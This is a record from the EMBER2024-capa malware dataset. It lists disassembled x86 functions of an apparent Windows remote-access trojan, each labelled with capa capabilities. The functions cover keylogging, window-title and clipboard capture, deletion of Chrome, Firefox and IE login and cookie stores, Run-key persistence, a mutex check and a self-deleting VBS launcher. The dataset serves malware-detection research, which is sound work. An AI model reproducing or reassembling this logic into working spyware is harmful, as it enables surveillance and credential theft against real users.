joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409d2a
Capabilities:
Check if file exists
Create directory
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x460
push ebx
push ebp
mov ebx, ecx
push esi
push edi
lea ebp, [ebx + 4]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, ebx
call fcn.00409c79
mov edx, 0x465438
mov ecx, ebp
call fcn.00406e2b
test al, al
je 0x409f31
mov ecx, 0x4740c8
call fcn.0040619c
test al, al
jne 0x409d86
push 0
mov ecx, 0x4740c8
call fcn.00401ee4
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea edi, [ebx + 0x68]
mov ecx, edi
call fcn.00401ee4
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test al, 2
je 0x409dae
push 0x80
mov ecx, edi
call fcn.00401ee4
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0x12
mov ecx, 0x4742a8
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
cmp byte [eax], 0
jne 0x409df2
push 1
mov ecx, edi
call fcn.00401ee4
push eax
mov ecx, ebp
call fcn.0040245c
mov esi, eax
mov ecx, ebp
add esi, esi
call fcn.00401ee4
mov edx, esi
mov ecx, eax
call fcn.0041b3e2
pop ecx
pop ecx
jmp 0x409efd
lea ecx, [esp + 0x10]
call fcn.004020bf
mov ecx, 0x474290
call fcn.0040245c
push eax
mov ecx, 0x474290
call fcn.00401f8b
push eax
lea ecx, [esp + 0x78]
call fcn.0040632b
mov ecx, edi
call fcn.00401ee4
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x409e89
lea ecx, [esp + 0x28]
call fcn.004020bf
mov ecx, edi
call fcn.00401ee4
lea edx, [esp + 0x28]
mov ecx, eax
call fcn.0041b476
test al, al
je 0x409e80
lea ecx, [esp + 0x28]
call fcn.0040245c
push eax
lea ecx, [esp + 0x2c]
call fcn.00401f8b
push eax
lea eax, [esp + 0x48]
push eax
lea ecx, [esp + 0x7c]
call fcn.0040644c
push eax
lea ecx, [esp + 0x14]
call fcn.00401fc2
lea ecx, [esp + 0x40]
call fcn.00401fb8
lea ecx, [esp + 0x28]
call fcn.00401fb8
mov ecx, ebp
call fcn.0040245c
add eax, eax
mov ecx, ebp
push eax
call fcn.00401ee4
push eax
lea ecx, [esp + 0x48]
call fcn.00402097
push eax
lea ecx, [esp + 0x14]
call fcn.00403356
lea ecx, [esp + 0x40]
call fcn.00401fb8
lea ecx, [esp + 0x10]
call fcn.0040245c
push eax
lea ecx, [esp + 0x14]
call fcn.00401f8b
push eax
lea eax, [esp + 0x60]
push eax
lea ecx, [esp + 0x7c]
call fcn.0040644c
mov ecx, edi
call fcn.00401ee4
mov edx, eax
lea ecx, [esp + 0x58]
call fcn.0041b4e3
lea ecx, [esp + 0x58]
call fcn.00401fb8
lea ecx, [esp + 0x10]
call fcn.00401fb8
push 0x465438
mov ecx, ebp
call fcn.004086cb
push 0x13
mov ecx, 0x4742a8
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
cmp byte [eax], 0
je 0x409f31
push 6
mov ecx, edi
call fcn.00401ee4
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp byte [ebx + 0x49], 0
jne 0x409d3f
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40a2da
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x74
push ebx
push esi
push edi
mov edi, ecx
cmp byte [edi + 0x49], 0
jne 0x40a2f8
cmp byte [edi + 0x4a], 0
je 0x40a4e9
mov eax, dword fs:[0x2c]
mov ecx, dword [eax]
mov eax, dword [0x475c40]
cmp eax, dword [ecx + 4]
jle 0x40a342
push 0x475c40
call fcn.0043334c
cmp dword [0x475c40], 0xffffffff
pop ecx
jne 0x40a342
mov ecx, 0x475c44
call fcn.00401f66
push 0x456f56
call fcn.004336f3
mov dword [esp], 0x475c40
call fcn.0043330d
pop ecx
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ebx, eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov esi, eax
push 0
lea ecx, [esi + 1]
push ecx
lea ecx, [esp + 0x28]
call fcn.0040af08
test esi, esi
je 0x40a417
lea ecx, [esp + 0x20]
call fcn.0040245c
push eax
lea ecx, [esp + 0x24]
call fcn.00401ee4
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov edx, 0x475c44
lea ecx, [esp + 0x20]
call fcn.0040afd0
test al, al
jne 0x40a417
lea eax, [esp + 0x20]
mov ecx, 0x475c44
push eax
call fcn.0040aef0
lea ecx, [esp + 0x20]
call fcn.0040245c
dec eax
lea ecx, [esp + 0x20]
push eax
call fcn.004086b8
sub esp, 0x18
lea eax, [esp + 0x38]
cmp byte [0x474093], 0
je 0x40a3e6
mov ecx, esp
push eax
call fcn.004086d0
mov ecx, edi
call fcn.0040a768
jmp 0x40a417
mov esi, esp
lea ecx, [esp + 0x50]
push 0x4656bc
push eax
mov edx, 0x4656c4
call fcn.0040af80
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00402ff4
pop ecx
mov ecx, edi
call fcn.00409c3a
lea ecx, [esp + 0x38]
call fcn.00401ee9
mov ecx, edi
call fcn.0040ad4c
call fcn.0041acb9
mov esi, 0xea60
cmp eax, esi
jb 0x40a4d2
mov ebx, dword [esp + 0x10]
cmp byte [edi + 0x49], 0
jne 0x40a444
cmp byte [edi + 0x4a], 0
je 0x40a4e0
call fcn.0041acb9
cmp eax, esi
jb 0x40a460
mov ebx, eax
push 0x3e8
mov dword [esp + 0x14], ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40a434
push 0xa
lea eax, [esp + 0x18]
xor edx, edx
push eax
mov eax, ebx
div esi
push eax
call fcn.00440e11
add esp, 0xc
lea eax, [esp + 0x14]
lea ecx, [esp + 0x68]
push str._minutes__r_n
push eax
call fcn.00402073
push eax
mov edx, str._r_n_User_has_been_idle_for
lea ecx, [esp + 0x58]
call fcn.004052dd
pop ecx
mov edx, eax
lea ecx, [esp + 0x3c]
call fcn.00408832
sub esp, 0x14
mov edx, eax
mov ecx, esp
call fcn.0041ae31
mov ecx, edi
call fcn.00409c3a
lea ecx, [esp + 0x38]
call fcn.00401fb8
lea ecx, [esp + 0x50]
call fcn.00401fb8
lea ecx, [esp + 0x68]
call fcn.00401fb8
lea ecx, [esp + 0x20]
call fcn.00401ee9
jmp 0x40a2e8
lea ecx, [esp + 0x20]
call fcn.00401ee9
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40a4f2
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov esi, ecx
push edi
cmp byte [esi + 0x4a], 0
jne 0x40a58c
mov edi, str.Online_Keylogger_Started
mov byte [esi + 0x4a], 1
push edi
lea ecx, [ebp - 0x18]
call fcn.00402073
sub esp, 0x18
lea edx, [ebp - 0x18]
mov ecx, esp
call fcn.0041ae31
mov ecx, esi
call fcn.0040a768
lea ecx, [ebp - 0x18]
call fcn.00401fb8
sub esp, 0x18
mov ecx, esp
push edi
call fcn.00402073
sub esp, 0x18
mov ecx, esp
push 0x464f74
call fcn.00402073
call fcn.0041a6c2
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
xor ebx, ebx
add esp, 0x30
cmp byte [esi + 0x49], bl
jne 0x40a580
cmp dword [esi], ebx
jne 0x40a574
push ebx
push ebx
push esi
push 0x40991d
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x40993f
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x40994b
push ebx
push ebx
call edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40ad12
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push esi
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x40ad36
push 0xd
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
call dword [sym.imp.USER32.dll_CloseClipboard]
test esi, esi
je 0x40ad36
push esi
jmp 0x40ad3b
push 0x465438
mov ecx, dword [esp + 0xc]
call fcn.0040415e
mov eax, dword [esp + 8]
pop esi
ret 4

Function at 0x40aeb0
Capabilities:
Delete directory
Delete file
Terminate thread

Disassembly:
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push ebx
push 0x409933
mov byte [esi + 0x49], bl
call dword [sym.imp.KERNEL32.dll_TerminateThread]
cmp dword [esi], ebx
je 0x40aedf
push dword [esi]
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
push ebx
push 0x40991d
mov dword [esi], ebx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, esi
pop esi
pop ebx
jmp fcn.0040ae6d

Function at 0x40b016
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push str.AppDataLocalGoogleChromeUser_DataDefaultLogin_Data
push 0x465984
call fcn.0043b06a
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402073
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.00408832
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401fb8
lea ecx, [ebp - 0x18]
call fcn.00401f8b
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40b07d
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
je 0x40b071
sub eax, 1
je 0x40b071
xor bl, bl
jmp 0x40b096
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_StoredLogins_not_found_
jmp 0x40b087
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_StoredLogins_found__cleared__
call fcn.00402073
call fcn.0040b7dc
mov bl, 1
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00401fb8
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40b0a5
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push str.AppDataLocalGoogleChromeUser_DataDefaultCookies
push 0x465984
call fcn.0043b06a
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402073
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.00408832
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401fb8
lea ecx, [ebp - 0x18]
call fcn.00401f8b
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40b10c
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
je 0x40b100
sub eax, 1
je 0x40b100
xor bl, bl
jmp 0x40b125
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_Cookies_not_found_
jmp 0x40b116
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_Cookies_found__cleared__
call fcn.00402073
call fcn.0040b7dc
mov bl, 1
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00401fb8
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40b134
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d4
lea ecx, [ebp - 0x60]
push esi
call fcn.004020bf
lea ecx, [ebp - 0x48]
call fcn.004020bf
lea ecx, [ebp - 0x18]
call fcn.004020bf
push str.AppDataRoamingMozillaFirefoxProfiles_
lea ecx, [ebp - 0x78]
call fcn.00402073
push eax
push 0x465984
call fcn.0043b06a
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.004052dd
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00401fc2
lea ecx, [ebp - 0x30]
call fcn.00401fb8
lea ecx, [ebp - 0x78]
call fcn.00401fb8
lea eax, [ebp - 0x1d0]
push eax
push 0x465944
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.00406292
pop ecx
mov ecx, eax
call fcn.00401f8b
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea ecx, [ebp - 0x78]
mov esi, eax
call fcn.00401fb8
cmp esi, 0xffffffff
jne 0x40b2e8
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_StoredLogins_not_found_
call fcn.00402073
call fcn.0040b7dc
add esp, 0x18
jmp 0x40b31c
test byte [ebp - 0x1d0], 0x10
je 0x40b2e8
lea eax, [ebp - 0x1a4]
push 0x465aa4
push eax
call fcn.0043ec90
pop ecx
pop ecx
test eax, eax
je 0x40b2e8
lea eax, [ebp - 0x1a4]
push 0x465aa8
push eax
call fcn.0043ec90
pop ecx
pop ecx
test eax, eax
je 0x40b2e8
lea eax, [ebp - 0x1a4]
push str.logins.json
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x90]
call fcn.00406292
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00408832
pop ecx
push eax
lea ecx, [ebp - 0x60]
call fcn.00401fc2
lea ecx, [ebp - 0x30]
call fcn.00401fb8
lea ecx, [ebp - 0x90]
call fcn.00401fb8
lea eax, [ebp - 0x1a4]
push str.key3.db
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x30]
call fcn.00406292
pop ecx
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.00408832
pop ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.00401fc2
lea ecx, [ebp - 0x90]
call fcn.00401fb8
lea ecx, [ebp - 0x30]
call fcn.00401fb8
lea ecx, [ebp - 0x60]
call fcn.00401f8b
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40b2cf
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [ebp - 0x48]
call fcn.00401f8b
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40b2e8
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [ebp - 0x1d0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40b1ef
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_StoredLogins_Cleared__
call fcn.00402073
call fcn.0040b7dc
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
lea ecx, [ebp - 0x18]
call fcn.00401fb8
lea ecx, [ebp - 0x48]
call fcn.00401fb8
lea ecx, [ebp - 0x60]
call fcn.00401fb8
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40b33b
Capabilities:
Delete file
Enumerate files on windows
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b8
lea ecx, [ebp - 0x30]
push ebx
push esi
call fcn.004020bf
lea ecx, [ebp - 0x18]
call fcn.004020bf
push str.AppDataRoamingMozillaFirefoxProfiles_
lea ecx, [ebp - 0x60]
call fcn.00402073
push eax
push 0x465984
call fcn.0043b06a
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.004052dd
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00401fc2
lea ecx, [ebp - 0x48]
call fcn.00401fb8
lea ecx, [ebp - 0x60]
call fcn.00401fb8
lea eax, [ebp - 0x1b8]
push eax
push 0x465944
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x60]
call fcn.00406292
pop ecx
mov ecx, eax
call fcn.00401f8b
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.00401fb8
cmp esi, 0xffffffff
jne 0x40b485
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_Cookies_not_found_
call fcn.00402073
call fcn.0040b7dc
add esp, 0x18
jmp 0x40b4b9
test byte [ebp - 0x1b8], 0x10
je 0x40b485
lea eax, [ebp - 0x18c]
push 0x465aa4
push eax
call fcn.0043ec90
pop ecx
pop ecx
test eax, eax
je 0x40b485
lea eax, [ebp - 0x18c]
push 0x465aa8
push eax
call fcn.0043ec90
pop ecx
pop ecx
test eax, eax
je 0x40b485
lea eax, [ebp - 0x18c]
push 0x465b0c
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.00406292
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00408832
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00401fc2
lea ecx, [ebp - 0x48]
call fcn.00401fb8
lea ecx, [ebp - 0x78]
call fcn.00401fb8
lea ecx, [ebp - 0x30]
call fcn.00401f8b
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40b4de
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
jne 0x40b4d3
lea eax, [ebp - 0x1b8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40b3ef
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_Cookies_not_found_
call fcn.00402073
call fcn.0040b7dc
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov bl, 1
lea ecx, [ebp - 0x18]
call fcn.00401fb8
lea ecx, [ebp - 0x30]
call fcn.00401fb8
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor bl, bl
jmp 0x40b4bb
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_cookies_found__cleared__
jmp 0x40b3dd
Function at 0x40b4ed
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
lea ecx, [ebp - 0x18]
push ebx
push esi
call fcn.004020bf
push ecx
push str.Cookies
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders
mov edx, closesocket
lea ecx, [ebp - 0x30]
xor ebx, ebx
call fcn.004128e3
add esp, 0xc
lea ecx, [ebp - 0x18]
push eax
call fcn.00401fc2
lea ecx, [ebp - 0x30]
call fcn.00401fb8
mov edx, 0x465074
lea ecx, [ebp - 0x18]
call fcn.00405ae5
test al, al
je 0x40b55a
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_not_found_
call fcn.00402073
call fcn.0040b7dc
mov bl, 1
jmp 0x40b5fd
push 0x104
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x18]
call fcn.00401f8b
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40b53f
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x30]
call fcn.00402073
lea edx, [ebp - 0x30]
lea ecx, [ebp - 0x48]
call fcn.0041ae31
mov ecx, eax
call fcn.00401ee4
mov ecx, eax
call fcn.0041b282
lea ecx, [ebp - 0x48]
mov esi, eax
call fcn.00401ee9
lea ecx, [ebp - 0x30]
call fcn.00401fb8
test esi, esi
je 0x40b5d3
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_cleared__
jmp 0x40b549
push ebx
push 0x465bc0
mov ecx, 0x474960
call fcn.00406155
test eax, eax
je 0x40b600
sub esp, 0x18
mov bl, 1
mov ecx, esp
push str._n_IE_cookies_cleared__
call fcn.00402073
call fcn.0040b7dc
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00401fb8
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40b766
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
imul eax, edx, 0xea60
push ebx
push esi
xor esi, esi
mov byte [0x471b19], cl
push edi
mov dword [0x471b28], eax
test cl, cl
je 0x40b7c3
mov edi, 0x465c18
mov dword [ebp - 4], esi
mov ebx, 0x474248
push edi
mov ecx, ebx
call fcn.00401f8b
mov edx, eax
call fcn.0041283c
pop ecx
test al, al
je 0x40b7c3
lea eax, [ebp - 4]
mov ecx, ebx
push eax
push edi
call fcn.00401f8b
mov edx, eax
call fcn.00412886
pop ecx
pop ecx
cmp dword [ebp - 4], esi
je 0x40b7c3
xor al, al
jmp 0x40b7d5
push esi
push esi
push esi
push 0x40b610
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40b951
Capabilities:
Check if file exists
Enumerate files on windows
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2e0
push esi
push edi
push str.AppData
mov esi, ecx
call fcn.0043b05f
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.0040415e
push str.MozillaFirefoxProfiles_
lea ecx, [ebp - 0x18]
call fcn.004086c6
lea eax, [ebp - 0x2e0]
push eax
push 0x4655b8
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x60]
call fcn.004087f0
pop ecx
mov ecx, eax
call fcn.00401ee4
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
lea ecx, [ebp - 0x60]
mov edi, eax
call fcn.00401ee9
cmp edi, 0xffffffff
jne 0x40b9c5
push 0x465438
mov ecx, esi
call fcn.0040415e
jmp 0x40ba9b
lea ecx, [ebp - 0x48]
call fcn.004020bf
jmp 0x40ba6a
test byte [ebp - 0x2e0], 0x10
je 0x40ba6a
lea eax, [ebp - 0x2b4]
push 0x4654f8
push eax
call fcn.0043e8e4
pop ecx
pop ecx
test eax, eax
je 0x40ba6a
lea eax, [ebp - 0x2b4]
push 0x4655dc
push eax
call fcn.0043e8e4
pop ecx
pop ecx
test eax, eax
je 0x40ba6a
push str.cookies.sqlite
lea ecx, [ebp - 0x90]
call fcn.0040415e
push eax
lea eax, [ebp - 0x2b4]
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.004087f0
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00402f85
pop ecx
lea ecx, [ebp - 0x78]
call fcn.00401ee9
lea ecx, [ebp - 0x90]
call fcn.00401ee9
lea ecx, [ebp - 0x30]
call fcn.00401ee4
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x40baab
lea ecx, [ebp - 0x30]
call fcn.00401ee9
lea eax, [ebp - 0x2e0]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x40b9d2
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0x465438
mov ecx, esi
call fcn.0040415e
lea ecx, [ebp - 0x48]
call fcn.00401fb8
lea ecx, [ebp - 0x18]
call fcn.00401ee9
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
lea eax, [ebp - 0x30]
mov ecx, esi
push eax
call fcn.00403242
lea ecx, [ebp - 0x30]
call fcn.00401ee9
jmp 0x40ba93
Function at 0x40c2a5
Capabilities:
Persist via run registry key

Disassembly:
sub esp, 0x24
cmp byte [0x471b33], 1
push ebx
mov bh, byte [0x471b31]
mov bl, byte [0x471b30]
push ebp
push esi
push edi
mov edi, 0x464e44
mov ebp, 0x474230
jne 0x40c307
sub esp, 0x1c
lea ecx, [esp + 0x34]
mov esi, esp
mov edx, edi
push edi
push ebp
call fcn.0040af80
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00402ff4
pop ecx
push dword [esp + 0x58]
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionRun_
mov ecx, closesocket
call fcn.00412b51
add esp, 0x20
lea ecx, [esp + 0x18]
call fcn.00401ee9
cmp bl, 1
jne 0x40c348
sub esp, 0x1c
lea ecx, [esp + 0x34]
mov esi, esp
mov edx, edi
push edi
push ebp
call fcn.0040af80
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00402ff4
pop ecx
push dword [esp + 0x58]
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionRun_
mov ecx, closesocket
call fcn.00412b51
add esp, 0x20
lea ecx, [esp + 0x18]
call fcn.00401ee9
cmp bh, 1
jne 0x40c389
sub esp, 0x1c
lea ecx, [esp + 0x34]
mov esi, esp
mov edx, edi
push edi
push ebp
call fcn.0040af80
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00402ff4
pop ecx
push dword [esp + 0x58]
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun_
mov ecx, closesocket
call fcn.00412b51
add esp, 0x20
lea ecx, [esp + 0x18]
call fcn.00401ee9
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret
Function at 0x40c601
Capabilities:
Check mutex on windows

Disassembly:
mov ecx, 0x474278
call fcn.00401f8b
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0x471d44], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor ecx, ecx
cmp eax, 0xb7
setne cl
mov eax, ecx
ret
Function at 0x40cd97
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c8
push esi
push edi
call fcn.00411de8
mov esi, 0x474290
mov ecx, esi
call fcn.0040245c
push eax
mov ecx, esi
call fcn.00401f8b
push eax
mov esi, 0x208
lea eax, [ebp - 0x2c8]
push esi
push eax
push str.exepath
mov ecx, 0x474248
call fcn.00401f8b
mov edx, eax
call fcn.00412a35
add esp, 0x14
xor edi, edi
test al, al
jne 0x40cdf7
push esi
lea eax, [ebp - 0x2c8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push str..vbs
lea ecx, [ebp - 0x48]
call fcn.0041ab4b
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.0041ae31
mov edx, eax
lea ecx, [ebp - 0x78]
call fcn.00402ff4
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401ee9
lea ecx, [ebp - 0x48]
call fcn.00401fb8
lea eax, [ebp - 0x78]
push eax
push 0x4655d8
push 0x465f58
call fcn.0043b05f
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.0040415e
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00402ff4
pop ecx
mov edx, eax
lea ecx, [ebp - 0x60]
call fcn.004042fd
pop ecx
lea ecx, [ebp - 0x48]
call fcn.00401ee9
lea ecx, [ebp - 0x30]
call fcn.00401ee9
lea ecx, [ebp - 0x18]
call fcn.00401f66
push 0x466100
push 0x466104
lea ecx, [ebp - 0xc0]
call fcn.0040415e
push eax
lea eax, [ebp - 0x2c8]
push eax
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [ebp - 0xa8]
call fcn.0040415e
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.00402ff4
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00402f85
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00402ff4
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.0040323d
lea ecx, [ebp - 0x48]
call fcn.00401ee9
lea ecx, [ebp - 0x30]
call fcn.00401ee9
lea ecx, [ebp - 0x90]
call fcn.00401ee9
lea ecx, [ebp - 0xa8]
call fcn.00401ee9
lea ecx, [ebp - 0xc0]
call fcn.00401ee9
push str.CreateObject__Scripting.FileSystemObject__.DeleteFile_Wscript.ScriptFullName_
lea ecx, [ebp - 0x18]
call fcn.004086c6
push edi
lea ecx, [ebp - 0x60]
call fcn.00401ee4
push eax
lea ecx, [ebp - 0x18]
call fcn.0040245c
mov esi, eax
lea ecx, [ebp - 0x18]
add esi, esi
call fcn.00401ee4
mov edx, esi
mov ecx, eax
call fcn.0041b3e2
pop ecx
pop ecx
test al, al
je 0x40cf62
push edi
mov eax, 0x465438
lea ecx, [ebp - 0x60]
push eax
push eax
call fcn.00401ee4
push eax
push 0x4650d8
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x40cf62
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 0x18]
call fcn.00401ee9
lea ecx, [ebp - 0x60]
call fcn.00401ee9
lea ecx, [ebp - 0x78]
call fcn.00401ee9
pop edi
pop esi
mov esp, ebp
pop ebp
ret